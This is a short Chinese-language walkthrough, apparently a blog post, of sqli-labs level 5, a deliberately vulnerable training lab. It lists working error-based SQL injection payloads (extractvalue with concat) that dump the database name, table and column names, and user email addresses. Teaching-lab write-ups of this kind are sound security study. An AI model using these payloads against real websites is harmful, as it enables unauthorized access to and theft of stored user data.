sqli-labs---第五关

简介: sqli-labs---第五关

1、判断注入类型

?id=1(没有正常显示)提示了一串字符

?id=1'(出现了错误提示)

根据页面的提示可以知道这是单引号'的闭合方式,并且是报错注入

2、查询数据库名

?id=1' and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+

3、查询表名(看到敏感表users)


?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))) --+

4、查询users表中字段的信息


?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))) --+

5、查字段USER中的信息,这里查不出来,那就换一张表

 ?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(USER) from security.users),0x7e))) --+

6、查询emails 这张表中的字段信息


?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails'),0x7e))) --+

7、查询email_id中的值(这里就拿到了用户email信息)


  ?id=1' and (extractvalue(1,concat(0x7e,(select group_concat(id,email_id) from security.emails),0x7e))) --+

目录
打赏
0
1
1
0
1
分享
相关文章
|
9月前
|
PHP
8、sqli-labs环境
8、sqli-labs环境
55 1
SQLi LABS Less-27
第27关使用GET请求传递参数,在url中构造payload即可 源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
358 0
SQLi LABS Less-27
SQLi LABS Less-25a
第25a关使用GET请求传递参数,在url地址栏中构造payload即可 后端源码中过滤了and和or,但只过滤了一次,我们可以通过双写绕过
240 0
SQLi LABS Less-25a
SQLi LABS Less-16
第16关使用POST请求提交参数,可以使用代理工具抓包或直接在输入框中修改参数 后端代码根据用户输入账号和密码去数据库中查询,查询成功则返回登录成功,否则返回登录失败,页面没有显示的数据,SQL语句中使用了错误抑制符@来限制数据库的报错信息,因此不能使用联合注入或报错注入,推荐使用布尔盲注,源码如下
159 0
SQLi LABS Less-16

热门文章

最新文章

AI助理

你好,我是AI助理

可以解答问题、推荐解决方案等